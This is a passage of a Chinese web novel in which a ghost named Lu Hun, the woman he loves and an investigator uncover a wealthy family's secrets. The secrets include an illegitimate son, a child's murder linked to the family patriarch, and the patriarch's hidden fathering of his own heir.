陆魂在与那孩子和纪嘉玉说完那些话后,只觉身体一阵一阵地发抖、发冷,力气也像是被抽干了,他脑子一片空白,幽幽荡荡地回到房里,看到魏姻半躺在榻上睡着了,他才脑子清醒了一些,记起自己方才让她在房里等他。 在今夜,他最不愿意想起的记忆被迫唤醒了。 陆魂半跪在魏姻身前,握住她的手,可他却没有任何动作,只是眼神阴郁地盯着前方看。 陆魂的手是没有温度的,很快将魏姻惊醒,她看到了少年阴郁到极致的面容,疑惑道:“陆魂,你怎么了,怎么这个脸色?” 陆魂沉沉地凝视住她,忽然问:“姐姐,还记得我年幼时,你带我去吃过一碗鸡汤面么?” 不知多少年前的往事了,魏姻毫无印象,“有么?我还给你吃过鸡汤面呀?” “嗯。”陆魂认真点点头,“姐姐怕我冷,还把一件白狐毛的斗篷给我穿。” “还有这些事么?我怎么都不记得了。”魏姻皱眉想了想,“我就记得我母亲死的那晚。” “没事。”陆魂直起身,似乎是松了口气般,在她眉心那颗朱痣上亲了一下,含着无尽的幽沉,“姐姐不记得了就好,永远不要记得,陆魂不想要姐姐记得。” 魏姻伸手圈住他的脖颈,不高兴道:“你在说什么呀?你是不是偷偷背地里骂了姐姐,所以不想要姐姐记得呢?那姐姐就要好好想想,看看能不能想起来了。” “不许想起来。”陆魂第一次用严厉的语气跟她说话,“姐姐不准想起来,听到没有?” 但没一会儿,少年又软下去了,“姐姐,陆魂今晚很难受很难受,难受得快喘不过气来了。” 第75章 少年的模样苍白到脆弱的地步,仿佛风随便一吹,就会将他给吹碎掉,魏姻捧住他的脸,他好像累极了,将下巴无力地支在她的手心里,魏姻仔细端详他,“怎么了,哪里难受,跟姐姐说……” “头难受。”陆魂说,“疼得好难受。” 魏姻就让他躺在她的腿上,给他揉额头,她奇怪问:“怎么好好的头疼了,你不是没有五感么。” 陆魂眉头紧锁道:“姐姐别管,给我揉揉。” 魏姻越看越觉得少年这两日十分不对劲,况且总一副心事重重的忧郁模样,可他不肯说,她也不明白。 那孩子在隔壁睡,他怕人,没让底下人接近,吃食都是让破军送去,破军之前喂了这孩子好几日,对这孩子很喜欢,很乐意去送饭食,孩子胆子渐渐没那么草木皆兵了,偶尔还会跟破军在屋里玩玩,但仍旧不敢出门,不敢与除了陆魂以外的人说话接近。 同样的这样一个夜晚。 贺夫人从昔日梦境中惊醒过来,她怔怔地看了眼四周,屋里的烛光渐渐映入她的眼帘,贺夫人思忖着方才的梦,从枕下拿出一本袖珍小书,还是当年陆魂跟她来贺府那次遗落下来的。 这东西,应该早丢了的。 可贺夫人回想起那天早上,那孩子惨白的小脸,又鬼使神差地一直留在身边。 那到底。 是她早逝的小儿子。 这么些年,她极少会梦见他的,可近日不知为何,自从知道魏姻表弟也叫陆魂时,她便开始屡屡做起当年的梦境了。 正怔忪间,底下人来回贺文卿来了,贺夫人连忙将小书塞回枕下,刚塞下,贺文卿就已经大步进了房,贺夫人勉强应付,“文卿这么晚了,还过来?” “听人说,母亲近日一直睡不安稳,常常半夜惊醒,身子都憔悴了许多,便过来望望母亲。”贺文卿解释道,打量贺夫人脸色一眼,“母亲果然憔悴了,可要给母亲请个大夫看看?” 贺夫人摇头,“不必了,只这两日天冷有点不适应罢了,不需去请大夫来。” 贺文卿便罢了,说若是再不好,一定要请大夫,贺夫人只得心不在焉地应承下来。 想起什么,贺夫人问道:“对了,上次听宣华说,你带人要去杀魏姻表弟,可有闹出什么人命……” “没有。”贺文卿提起这个,怒气再也遮掩不住,“我原是要将他给灰飞烟灭了,可谁知道,让裴老将他给救了回去,还……” “灰飞烟灭?”贺夫人惊讶地直接坐了起来,“你说什么?” 贺文卿没想要对贺夫人隐瞒,“母亲,实话与母亲说了吧,那个叫陆魂的东西,根本就不是魏姻的表弟,我这两日让人去查过了一番,才知道,他就是那个五年前在京中菩萨庙里自缢身亡的举子陆魂!” 贺夫人一下子又跌坐下去,“你说……什么?他就是五年前在菩萨庙里自缢身亡的陆魂?” “母亲怎么吓成这样?”贺文卿疑惑地扶住她胳膊,“母亲难道认识这个人?” “不!不!母亲怎么会认识他,母亲根本不识得这个人,母亲只是奇怪……”贺夫人慌忙找补道:“他,他不是死了么……” “母亲,我待会与你说的话,你可千万不要被吓到。”贺文卿谨慎开口,“陆魂当年确实是已经死了,而他现在,是个鬼……” 贺夫人几乎要晕过去了。 魂儿死后竟成了鬼魂? 她当初随口给他取的这个名字,岂不是正印证了这孩子的厄命么…… “母亲!”贺文卿惊挽住她,“母亲别怕,母亲别怕。” 贺夫人朝贺文卿摇摇头,她有点不敢相信地问:“文卿,你这话可是当真的?真有这种玄乎的事?莫不是你弄错了吧?” “儿子没有弄错,儿子已经看过当年那个举子的画像和形貌年纪,也问过那举子生前有来往的人,正对得上,绝对没有第二人有那样阴郁的气质。” 贺夫人无话可说。 她颤颤抬头,“那……那魏姻怎么说他是她的表弟,魏姻知道么,这个陆魂,难道是冲着我们贺家来的么?” “母亲错了。” 贺文卿摇头,“我看他不是冲我们贺家来的,是冲着魏姻来的。” 贺夫人讶异住了,仿佛不相信。 贺文卿叹口气,“母亲,他是冲着魏姻来的,我这两日查了才知道,这人曾经一直在魏家学堂读书,而且听人说,他似乎早对魏姻有龌龊心思的,没想到做了鬼还死心不改!” “文卿,你别这样说那孩子,说不定是魏姻这妇人,我早知她就不是个安分守己的……”贺夫人低声呢喃。 贺文卿皱了皱眉,“母亲,我与魏姻已经和离了,魏姻如此,怕是已经和那个鬼在一起了!” 贺夫人再次一惊。 和离的事,贺文卿还没有与贺家任何人说,不过,最终也是瞒不了多久的。 母子俩说话间,贺府外头来了一个年轻人,健壮高大的身躯,剑眉星目,无疑就是纪嘉玉没错了,他骑马而来,星夜驰骋,几乎是和马一起喘着气匆匆赶到贺家的,他看看包袱里的白色细麻衣,跟着又拧紧眉头合上,往贺家门房处递了个拜帖。 门房的人看见帖子上的衙门名,立刻将帖子送了x进去。 贺老爷子看到拜帖,下意识皱了下眉头,不过也没多想,只让人将人请进去。 纪嘉玉背着包袱,随丫鬟来到贺老爷子的屋里,贺老爷子模样端肃,着了件深灰色的广袍,对着纪嘉玉笑了笑,“纪家公子,老夫当日见你,你还不过半点大,我年纪大了,身子不好,就不去前厅会你了,委屈你到我房里来见见。” 纪嘉玉同时,也在深沉打量着贺老爷子。 “老大人不必麻烦,我是小辈,怎么着都成,否则回了京,父亲又该说我没有礼数了。” “你父亲他对你还是如此严苛。”贺老太爷晃着头,“不过这也好,现在你们这一辈的子弟,个个都难以管教,若不自小就严一些,日后是不成出息的,我对文卿也向来如此,才不致废了他。” 纪嘉玉陪着笑笑,并不言语,偶尔漫不经心看贺老爷子一眼,贺老爷子似乎察觉出他总在看自己,于是正经问道:“纪公子今日来府中,所为何事呢?” 纪嘉玉也就不再沉默了,娓娓道来,“是这样的老大人,这次来荒州,是因为京中出了一桩案子,一对死去多年的姐弟被发现了,凶犯委实凶狠,不但在两个孩子生前对其有过猥亵侵害,还将其杀害埋尸了……” 在说这些话的时候,纪嘉玉故意将语速放慢了一些,同时不动声色注视着贺老爷子的神色,但老爷子毫无动容,只专注地听着。 纪嘉玉欲说又道:“因着有些线索,所以就来到了荒州,来了荒州之后,发现与此案有关的一件衣物,兴许就与荒州有干系,贺家是荒州的大户,晚辈便想着,老大人你能告诉晚辈些许线索。” 说着,他终于打开了身上的包袱,将那件白色细麻衣拿了出来。 于是,在衣物拿出来的瞬间,纪嘉玉终于捕捉到了贺老爷子眼底一闪而过的异样,纪嘉玉问老爷子可曾见到过这样的衣物,又是荒州哪里有,贺老爷子没有立即回答,而是说自己老眼昏花了,看不清,让纪嘉玉给他拿近前去看,纪嘉玉如是上前,贺老爷子接过仔细查看好几番,这才摇摇头,说并不知晓。 纪嘉玉叹口气道:“既如此,这桩多年悬案,许多痕迹都已经没了,连尸身都只剩下白骨,更不知要如何查起了。” 纪嘉玉走后,贺老爷子眼皮才不受控制地用力抽搐了起来,他立刻喊来老管家贺伯,“你听到了?” 贺伯立刻点点头。 又道:“老爷子,听说公子与少夫人和离了。” “什么?”贺老爷子惊呼道:“把文卿叫来见我!” 贺文卿立即赶来了,贺伯已经离去,只有祖孙俩,贺老爷子似乎很气恼,但又压着火气询问道:“文卿,你和魏姻和离是怎么一回事?什么时候的事?谁让你们和离的?” 贺文卿见贺老爷子如此恼怒,将魏父到来,逼着他和离的事说了,贺老爷子恍然,“当日魏父下帖子叫你去,原来是为了这事?” 贺文卿点头。 “这事我不同意。”贺老爷子冷声道:“我不同意,你们就不算!” 贺文卿惊讶地看向祖父,没有想到,祖父竟如此看重这事,看重魏姻,竟然如此激烈反对此事。 从贺家离开的纪嘉玉,回到了文家老宅,他轻手轻脚,不惊动人,怕惊醒裴老,先去了那孩子的屋里看,破军知道孩子害怕生人,不知从哪里忽然窜出拦在纪嘉玉的身前,纪嘉玉看那孩子有点要惊醒的样子,没敢再进去,只站在门边望了望。 他低头瞧包袱里的白色细麻衣,那孩子身上的衣物被换了一件,显然,陆魂给他的这白色细麻衣就是从那孩子身上脱下来的。 这个孩子…… 与那个姐弟尸骨的弟弟,不但一样有着六趾,身上同样还有被人猥亵过的伤痕,以及,这白色细麻衣。 纪嘉玉脑子里,有了一个令他自己都不敢置信的念头。 他正想着,忽然察觉到脖子后有阴风吹过,他迅猛回头,陆魂竟然还没有睡下,不知什么时候毫无声息地来到了他的身后,像鬼一样幽立不动。 第76章 廊下虽挂着灯笼,却只发出忽明忽暗的光华,陆魂的整个高瘦身体便都处在忽明忽暗之中,在他的身后,是黑黑影影的扭曲庞杂枝叶,陆魂看了纪嘉玉一眼,转身离去,纪嘉玉顿了一瞬,立即抬步跟上。 陆魂带着纪嘉玉从那孩子房外离开,走到了外头,那棵摆着茶台的杏树之下。 幽暗夜色和阒无一人的园中,让纪嘉玉心里忽然感到一丝诡秘,他询问陆魂,“那个孩子究竟是什么人?为何他那样怪异。” 陆魂忽的在纪嘉玉眼前隐住了身形。 纪嘉玉猝不及防,惊得几乎差点跌坐在身后茶台上。 他还没惊醒过来,陆魂更诡异的声音凭空出现在他耳边,“纪公子,那个孩子的事情,我知道,我待会也会一一告诉你。” “陆,陆魂?”纪嘉玉心脏都快停了,“你这是怎么回事……?我怎么看不到你人呢?你在哪?” “我就在你身前,没有走动过。” 纪嘉玉盯着前方,瞳孔剧缩,声音肉眼可见变得颤抖,“你到底是什么东西?” 陆魂又重新恢复了身体,出现在纪嘉玉的眼前,纪嘉玉这回往身后退了好几步,不敢再接近他,陆魂并不在意,静静地说道:“如你所见,那个孩子和我一样,都不是人了。” 纪嘉玉只觉得在做梦了。 他定定盯着陆魂看了许久,精神错乱地揉揉头,幸好之前已经见到过破军,于是他沉默了一会儿工夫,这才接受了这个事实。 “所以,如果我猜想没错的话,那个孩子其实就是那姐弟尸骨的弟弟吧?” 陆魂点了一下头,将那孩子的话,完完整整地尽数给纪嘉玉说了一遍,“那孩子是刚化为鬼的,大概是因着这次尸骨重见天日而得到什么机缘,化成了鬼,想必,他此次是和你一道来荒州的,只是这孩子才成鬼,神智不稳,又加上年纪小,甚至都还不知道自己死了,而据他口中说的凶犯,大概就是贺家老爷子不错了。” “这……”纪嘉玉皱眉,“我不能听你和那孩子的一面之词就相信了。” 陆魂反问:“纪公子不是已经拿着东西去见过贺家老爷子了么?” 纪嘉玉默了默,确实,他也觉得贺老爷子并不完全像表面上那样。 “那孩子既然都不清楚害他们的是何人,为何你却一口咬定是贺老爷子?”纪嘉玉忽然问道。 陆魂一怔,他脸色微微一白,“我是鬼,自然能知道。” 纪嘉玉也就不再多问了,“行,我会看着点贺老爷子的,看看能不能摸到他的什么,过去了这么久,也不知道当年和那孩子一起被关的那些人,可还有命活……” 陆魂则神情莫测。 想起什么,纪嘉玉突然笑了,“陆公子既然是鬼,那应是不能与姻儿在一起了,那我……” 陆魂第一次,冷不丁地睨了他一眼。 自这晚后,纪嘉玉虽然没有完全相信陆魂说的鬼话,但办案以来的直觉告诉他,贺老爷子似乎确实有点问题,于是动用了手下的人去盯着贺老爷子,他手下的这些人,都是朝廷里专门办案的高手,因此贺老爷子即使再小心谨慎,但也还是被这些人给摸到了点东西出来。 所以第三日,纪嘉玉给陆魂带来了一个消息。 贺老爷子私底下有跟一些心术不正的高人交往。 陆魂听后,淡淡地道:“他当年就布下过法阵去关住受害人,自然跟这些人有来往,况且,做了亏心事,自然得要有点护身的手段,也免得被追魂索命。” 纪嘉玉觉着,陆魂的语气,淡得有点怪异。 魏姻这段时间发现陆魂与纪嘉玉似乎有许多来往,少年自小性子阴郁,可他竟然会和纪嘉玉亲近,这让魏姻稍稍有点诧异,不过又想到纪嘉玉明朗随和的性情,倒也不奇怪了。 少年能够不那么阴郁一些,也很好。 不知为何,魏姻有时想到了那天晚上,他说自己很难受难受的模样,就像是一个无助绝望,得不到任何希望,只能自己忍耐的孩子,而忽然有一日,这孩子说自己忍耐得难受,要哭了。 这日,魏姻坐在房中看破军不时过来她这,拿起x一块枣糕给那孩子吃,陆魂走了来,他刚与纪嘉玉说完贺老爷子的事,情绪低沉,魏姻看着他这个样子,忍不住想起当日在菩萨庙里撞见他自缢一幕,于是好奇问:“陆魂,你当初是想不开才自缢的么?” 陆魂摇摇头。 “那是因为什么?”魏姻问。 陆魂却抿唇不语了,似乎不愿再提起那些事。 魏姻看他不舒服,才不问了,陆魂则认真地看着她,道:“姐姐,等以后,我会一一告诉姐姐的。” 魏姻怔住。 就在这第二日夜里时分,有下人来回陆魂,说是一个夫人来了,要见他,陆魂沉默了一下,又问。 “哪个夫人?” “那夫人不肯说自己是谁,她只说想要见见陆公子你。” 陆魂好像猜到了是谁,他语气寡淡,“说我不在。” 后来那个丫鬟便来回陆魂,说那夫人一直问她,说他不在府中,那是去了哪里,又说明日还会再来一趟,让陆魂明日别再出门。 陆魂始终淡淡地听着,并不理会,丫鬟说完后,才道:“明日也说我不在,去吧。” 丫鬟愣了一下,好像不太明白他为什么要这样说。 翌日丫鬟果然又照着陆魂吩咐的话回了对方,据说那位夫人迟疑了后,又笑了笑,什么也没说,便转身走了,陆魂以为她不会再来了,但是没想到过了一日,她还是又来了。 这次她对传话的小丫鬟说,既然见不到他,想见见魏姻。 陆魂闻言后,深沉地默然许久,而后让小丫鬟离开了,他站起身,紧皱着眉头,慢慢走到了宅子外面。 在门边果然站立着一个神情不安又凝重的妇人,无疑就是贺夫人没错了,陆魂隐住了身形,来到了贺夫人面前,贺夫人却不知道他已经出现,还在那时不时地往里面张望,又有点不耐烦的样子,想要再让人进去回禀,但到底忍住了。 就在这当口,陆魂出声了,“你来做什么?” 贺夫人乍一听到声音,而且是死去多年的小儿子声音,脸色唰地一下子变了,捂住胸口,深吸半天气。 “魂……魂儿,是你么?” 陆魂没作声。 贺夫人颤颤说道:“是你对么?我已经听文卿说了,你成了……文卿你还记得么,他是你大哥。” 陆魂语气平淡,毫无波动,“你来做什么。” “我自然是来看你的。”贺夫人叹口气说:“当年,我亲眼看着你……去了的,你也太傻了,娘年纪大了,这些年,总是会时不时梦见你,尤其这几日,魂儿,你在哪呢,怎么不现身让娘看看你?” 以前贺夫人年轻,对这个私生子并无什么感情,可随着年纪越来越大,想到这孩子当初种种遭遇,她到底还是记挂了一二。 陆魂并未有现身的意思,他的声音听起来很寡淡,仿佛面前站着的完全是陌生人。 “我已经死了,你给我的血肉之躯也没有了,我与你,也再没有任何干系了,你,回去吧。” 贺夫人瞪大眼睛,“魂儿,你怎么能这么说呢?我知我以往对你这孩子不好,让你受了许多委屈,可此次,我是知道文卿上次带人来对付你,我想看看你有没有怎么样,娘是真心实意地想来看看你,你为何要这样对我说话,难道一点母子亲情都不认了么。” 陆魂说道:“原来你知道他上次做的事……” 贺夫人一下子顿住了,有些不自然,叹口气,“那个时候,我还不确定那是不是你,我也不知究竟是怎么一回事。” 陆魂依旧淡声道:“夫人不必再说,你究竟怎么想的,我也不想知道,夫人,请回去吧,天色黑了。” “你能……”贺夫人不愿意,“能让我看你一眼么?” “夫人。”陆魂沉默地笑了,“何必如此,你不要忘了,当初我为什么会变成这样,你既然让我变成这样,又为何还要看我一眼呢?即使你想见我,但是夫人,我不想见你,我以后都不想再见你。” 贺夫人身体一震,面色涨红,无言以对,她再不敢说别的,只心不在焉地道:“看来,我们母子终究是没有一丁点缘分的,那魂儿,你保重吧。” 陆魂终于嗯了一声。 贺夫人又道:“我从文卿那知道了你和魏姻的事,魏姻既然已经与文卿和离了,你若喜欢她,就与她在一起吧,你自小,也不容易。” 陆魂没有再回声,也不知道是不是已经走了。 贺夫人满目叹息地望望四周,仍旧见不到陆魂的一点身影和声音,她想,他应该是离开了,但贺夫人还是轻声说了最后一句话。 “魂儿,你好生着吧,这是你我母子最后一面了,日后,你多加保重,我也会让文卿以后,别再为难你的,娘以前从来没为你做过任何事,至于文卿那边,是娘唯一能为你做的事了。” 贺夫人说完,再次往周边到处小心扫视一眼,可还是没有看到陆魂的身影,也没有听到陆魂的声音,这才知道,他大概真的早走了,她也不再停留,立刻回去。 在她走后,在刚才贺夫人站立的那个位置,陆魂的身形慢慢显现了出来,他抬起头,一声不吭地孤独凝望住妇人离去、然后又渐渐消失在山道的背影。 第77章 车马声踏过山道,贺夫人彻底消失。 陆魂被风吹过,竟觉得身上有些簌簌发冷。 他掩住身上的厚厚大氅,念起给他大氅的人,似乎又感到暖和了,陆魂终于从山道上收回目光,转身,脚步倏地一顿。 魏姻倚在门边,静静地望着他,不知什么时候过来的,又看了多久,一点动静都没发出,陆魂一时没动,最终还是魏姻朝他走了过来,拽拽他的大氅,“贺夫人走了?” 陆魂张了张口,“姐姐都听到了?” “是呀,都听到了。”魏姻牵起他的手,仰头看少年的脸,“走吧,外面风寒,我们回去再说。” 随着冬日的即将临近,天气变化得极快,风总是呼呼地刮着窗棂,这两日又冷了许多,而荒州的冬日是干冷干冷的,冷得人面皮很紧很紧。 房中已经开始用起了火盆。 陆魂直接从小火炉上端起刚滚开的茶,这次他有了经验,将茶晾凉得确真不烫了,才端给魏姻喝,少年面容沉静,但魏姻从他进屋后一直低垂着的头,就知道他此刻根本没有看上去的那样平静。 魏姻喝完茶,陆魂要接过放回去,魏姻扯住了他的衣袖,没让他走,她问:“陆魂,原来贺夫人就是你的那个生母?” 那晚陆魂带她在官学里看灯讲的故事,果然就是他自己没错了,不过魏姻没有想到,那个官宦人家,丈夫常常在外风流,与丈夫不和,后来与府上先生苟且的夫人,居然就是贺夫人。 但仔细想来,贺家官宦人家,贺父风流,夫妻感情不和,这不就是说的贺夫人么? 陆魂轻轻嗯了一声,“她当年痛恨丈夫四处风流,甚至将外面召的姬妾带回了府中打她的脸,她十分恼恨,看到我……父亲他与母亲夫妻恩爱,便心生嫉妒,施计与父亲有了我,她有丈夫儿子,不可能留我,一生下我后,就将我送到陆家了。” 因此,他从小即使再乖巧懂事,也被陆明礼厌恶不喜,而贺夫人也另有家室,对他根本不放在心上,而陆魂便从小夹在大人这样一桩恩怨里长大。 魏姻想到这里,摸他的脸,想要以此安抚他。 “不碍事的姐姐。”陆魂在她的手心蹭了蹭,“我已经没事了。” 魏姻忍不住难过道:“小陆魂,你怎么这么可怜呀。” 陆魂半蹲在地面上,魏姻是坐在榻上的,少年就这么抬头深深地望住她,“姐姐,所以你也知道了,我是贺夫人和陆明礼的私生子,我是个一点都见不得光的孩子,也是个从来都不被他们承认过的一个孩子,即使我还活着,是个人,我也哪儿都配不上姐姐的。” 少年的语气平静,但显然又含着无尽的悲哀。 “胡说。”魏姻不悦反驳,“私生子,见不得光,又怎么了?不许再说这种话了。” 陆魂只是自嘲一笑。 魏姻看他这个可怜样子,主动弯下腰,捧起他的头,在他的额心上极郑重地亲了一下,“小陆魂不难过,他们都不要你,姐姐要你。” 陆魂眼底的浓浓忧郁逐渐褪去一些,x漆黑眼珠子盈进些难得的神采。 魏姻将他拉起来,让他坐在她的身边,“陆魂,你给姐姐说说你小时候的事吧,你给姐姐讲了,就等于以前你不是一个人长大的,还有姐姐看着你长大。” 陆魂眼角微红,他腼腆地勾了勾嘴角。 陆魂记事得很早,大概在一岁左右时候就已经有记忆了,在他的记忆里,最早的应该就是他坐在祖母的房门口,远远地,好奇地,望着陆明礼念诗词给陆夫人听的一幕,那个时候,陆夫人因为知道陆魂的身世,受了刺激,孩子掉了,一直在养身体,陆明礼偶尔得空的时候,在陆夫人坐在院子里晒太阳,便给陆夫人念上几首,陆夫人虽仍旧与他有些隔阂,但终究没有冷脸。 他们都没有察觉到,陆魂坐在门槛上,看着他们。 陆夫人后来看到了,脸色一下子变了。 陆明礼也当即沉了脸,怒声让陆魂滚进去,陆夫人原是不太高兴见到陆魂的,但听到陆明礼如此怒骂一个孩子,终究是不忍心,于是扯住了丈夫,让他扶她回房去。 晚上祖母,就给陆魂带来油纸包的几颗酥糖来,陆魂长到一岁多,从来没有吃过糖和任何玩具,陆明礼讨厌他,所以也不许祖母给他这些东西,祖母怕陆明礼恼怒赶他出去,所以也万万不敢给。 陆魂知道陆明礼的意思,所以不敢去接。 祖母却道:“魂儿别怕,这是你母亲让我给你的,说是今天怕你父亲吓坏你,特意给你的,你放心吃吧,你父亲即便是知道了,也不敢说的。” 陆魂第一次吃到了糖,很甜,很酥,他没有想到糖原来是这么甜的东西,他喜欢。 自那以后,陆魂开始对陆夫人有了好感,他喜欢这个温柔的母亲,所以在他的记忆里,除了祖母外,陆明礼的脸其实已经快记不清了,但他却仍然清楚记得陆夫人的面容。 他想要叫陆夫人母亲。 也想要陆夫人抱抱他。 “我记得。”魏姻忽然说:“就是那次阿珠被刘氏从普渡寺给偷偷拿走了,胡大田和阿狼来贺家找我,我听到你在梦中喊了声母亲,是叫的陆夫人,还是贺……” “我只有陆夫人一个母亲。”陆魂回道。 除了祖母,与陆夫人,陆魂只喜欢过魏姻,魏姻在学堂与人踢毽子,陆魂其实也在人群外默默地看着她和人玩,但他始终不敢上前,就拿着卷书在那看,实则其实是在看魏姻,看到毽子掉到屋檐上去了,陆魂才能立即出现在,替她取回毽子。 接着,陆魂又极羞涩地说到了另外一件事。 那就是魏姻曾经最喜欢的一个贴身帕子丢了的事。 确实是被陆魂捡到了,本来他是准备还给她的,可那个时候陆魂已有十三四岁了,正是年少情动时候,他纠结了两晚,最终还是选择将这个帕子给偷偷收了起来,贴身藏着,可他又怕在学堂里掉出来,让魏姻看到,还特意学着祖母的习惯,在里衣内衬上缝了一个小口袋,将帕子藏在里面,怎么也不可能会掉出来了。 说到这事的时候,陆魂神情忐忑,几乎不敢看魏姻的眼神了,他也觉得,自己这一举动似乎有些龌龊。 魏姻愣了一下,也想起来了,“我已经听人说过,是你给捡去了,还听说,你对我那块帕子,当做我,做过那种事……难道是真的?” 陆魂一听,愣了一下,然后整张俊脸涨得通红通红的,他连忙皱眉,“姐姐,我没有,我只是将帕子藏在身上,但我不敢这样对你的……” 魏姻也觉得,他性子极羞涩腼腆,是不可能敢那样的,还让人撞见,大约就是以讹传讹,这些事屡见不鲜了。 她望着少年着急难堪的样子,于是坐到他的腿上,双手搂住他的脖子,口吐热气地对着他滚烫耳尖,“那小陆魂,想不想知道,当年他们传的这件事到底是什么滋味?” 陆魂惊大了眼。 魏姻一下子就察觉到身下少年的身体又僵又硬,她故意笑了声,“小陆魂,想不想现在对姐姐,做一下当年他们传的这个事?嗯?” 陆魂开始难受地皱眉。 魏姻拉过他的手,放在了自己腹部上,接着继续问:“小陆魂,想不想姐姐让你变成男人?” “想。”出人意料,陆魂却闭了闭眼,而后又颤颤睁开,声音很小,很紧张,“我想做姐姐的男人,很早就想了。” 魏姻怔住了,似乎没料到他老实承认了,忍不住笑出声,而后捏捏他削瘦的脸,从他腿上起身,“姐姐逗你玩的。” 陆魂第一次,对她生气了,“姐姐!”- 马车从文家老宅回去后,直回贺府,夜深人静,贺夫人和来时一样,悄悄从后门回去,不去惊动太多人。 可是她出门的消息,还是让儿子贺文卿给知道了,她刚回房,后脚贺文卿就来问她:“母亲不是身子不适么,为何要出门呀,若是有什么事,让儿子去办就是。” 贺夫人望着面前的大儿子,想到连一面都不肯见她的小儿子,叹口气。 “母亲为何叹气?” 贺夫人摇摇头,询问道:“文卿呀,既然你与魏姻都和离了,那便罢了吧,既然她愿意和那个鬼在一起,就在一起吧,你正好将宣华扶了吧。” 贺文卿脸色微变,想不到母亲会说出如此的话来,“母亲,魏姻是我的妻!怎能让她与旁人在一起?!而且儿子……” 贺夫人皱眉,“怎么了?” “儿子其实。”贺文卿闭了闭眼,“心里其实挺喜欢魏姻的,我实在,不舍得,就这样让她……” 贺夫人瞪了瞪眼,原来,他怕的其实不完全是和离丢脸,而是,他本来就喜欢魏姻那个女人,根本就不想和离。 “那你想怎么样……” “我绝不会让那个鬼东西,与她在一起的,迟早我要让他不得好死。”贺文卿咬牙道。 “不行!文卿!”贺夫人立刻惊心胆战失声叫住。 贺文卿疑惑地转过头,意外地注视着母亲紧张的脸色。 贺夫人沉思了好一会儿,犹豫不决,但见贺文卿杀意不减,于是决定,将事情和盘托出了,“文卿你不能那样对陆魂,因为,因为,他是母亲的另外一个儿子,是你同母异父的亲弟弟呀。” 第78章 贺文卿在听完贺夫人说的那句话,便怔怔愣愣地走了,贺夫人直着身子,她没有叫住他,喊来丫鬟拿灯,去照着贺文卿回去,自己仍旧坐在桌边沉思,过了一会儿,她决定了什么,起身回到寝房中,她从里边那个枕下,将小书拿了出来,来到了火盆边上。 她拿着小书眼神复杂地翻看了许久,深深叹口气,这才,将小书扔进了火盆里。 小书在火中很快燃烧成灰。 贺夫人完全闭上了眼睛- 她在火盆边又站了好久。 火盆的炭火完全烧完了,剩下冷清清的炭灰。 正在此时,贺老爷子的人来请她过去,贺夫人迟疑了一下,问来人是什么事,来人摇摇头说不清楚,贺夫人于是只好亲自过去一趟。 是老管家贺伯在外头亲自迎接的她,贺夫人问:“贺伯,父亲有何事吩咐?” 贺伯笑了笑,“夫人进去就知道了。” 贺夫人被贺伯迎了进去,贺老爷子坐在案台上,写着字,进去后,贺伯直接退了出去,且关上了房门,房里没有一个下人在,就贺老爷子一人在里头。 贺夫人远远地站在门边,朝里面道:“父亲安好,不知父亲有何事?” “过来些说话。”贺老爷子头也不抬地道。 贺夫人只好往里走,贺老爷子仍旧在静心写着自己的字,贺夫人见他不说话,也不敢开口,须臾后,贺老爷子才开口说道:“文卿和魏姻和离的事,你应也知道了吧?” “是。”贺夫人回道:“文卿与我说起过。” “我觉得这事他做得很不妥。”贺老爷子摇摇头,“传出去像什么话,但我知道,这事也不能怪他,是魏家逼着他干的,实在欺人太甚,进了我们贺家的门,难道还有和离的?” “父亲,我倒觉得,这离便离了吧,魏姻此妇人,没有什么礼数妇道,不适合做文卿的妻子,正好可以让宣华……” “不行。”贺老爷子强硬道:“魏姻一定得是我贺家的人。” “父亲?”贺夫人见其态度出奇意外,连忙道:“你何必非要她呢?我们文卿跟她离了正好才是,就算以后不能扶宣华,文卿也能娶个更好的x人家……” 贺老爷子笑了声,搁下笔,睨向贺夫人,忽然道:“你放心,我不会害了我的亲生儿子。” 乍一听到这话,贺夫人像是一下子回想起什么不堪回忆的事情,如遭雷劈,踉跄地往后倒退几步,扶住身后书架,才算稳住了身体,她环顾四周,嘴唇苍白发颤。 “父亲!万一让文卿给听到了!” “放心。”贺老爷子从案边走开,来到贺夫人面前,拍拍她的肩膀,用着绝非是公公媳妇之间的语气说道:“有贺伯在外头守着,文卿不会知道这些的。” 贺夫人惊恐得连忙往后退去,避开对方,“父亲,你你你,这件事你说过不会提起的,真让文卿知道了,他是绝对受不了的。” 贺老爷子温和地笑了笑,“你不要紧张,也不用担惊受怕,父亲知道,文卿这事怪不了你的,谁让我们贺家不幸,让我儿子没有生育能力呢?你也是为了我们贺家后继无人着想,才主动来找了我……” 贺夫人虽然听着这样安慰的话,却觉得更不安了,“父亲,你别说了,父亲可知道,当年郎君他得知我有了文卿后的眼神多可怕,自那以后,他再也没有来过我房里一步,我们夫妻感情,再不复当初。” “你委屈了。”贺老爷子拍了拍她的肩膀,“他是个实心眼的,但我们贺家怎么能任由他断了香火呢?好在他到死都没有让我失望,将文卿的身世说出来。” 贺夫人紧张到语无伦次,“还是要小心父亲,文卿向来敬重您,而他又生性高傲,绝不容许自己有丝毫污点,一旦此事让文卿知晓了,我真不知道他能不能受得了……” “尽管放心。”贺老爷子眉宇一狠,“我绝不会让文卿知道一点。” 贺夫人又道:“可父亲为何这么不同意文卿与魏姻和离呢?” “此事你就别在意了,我自有我的打算。”贺老爷子看她忧心忡忡,又道:“你只要知道,我这是绝对为了文卿着想的。” 贺夫人离开贺老爷子院里后,不叫丫鬟跟着,独自一人摸黑走在回去的路上,她的心越来越沉,一个人在深夜里极其恐惧,可她却不敢留任何人在身边,总觉得这个时候,会被人看出她那些肮脏事。 她出身并不算多好,只是个小门小户的,当得知自己能嫁到贺家时更是不敢相信,可到进门之后,才知道丈夫并不能生育,她当时感到一切都完了。 贺老夫人对她不满意,常常刁难她,她并不知道自己儿子不能生育的事,还反倒怪她不能生,贺夫人为了丈夫的颜面,也为了自己不被外人瞧着可怜,也只得苦苦瞒着,不敢说一点。 后来,她实在受不了了。 没有孩子,就没有傍身的希望,连下人都越发不将她放在眼里了,暗地里嚼舌根。 于是,她只得去投向贺老爷子。 贺父即使知道了,也不敢将她怎么样。 就这样。 贺夫人有了贺文卿,终于有了依靠。 第二日一大早,贺老爷子又派人将贺文卿叫到了面前,贺文卿毫不知道昨晚贺夫人与贺老爷子的一番谈话,贺老爷子朝他招招手。 “过来一些,文卿,祖父眼睛花了,看人看不太清了。” 贺文卿立即上前,贺老爷子抚摸他的发顶,“文卿呀,自你满月之后,就被祖父亲自带到身边教养,你可怪过祖父,让你与父母自小分离?” 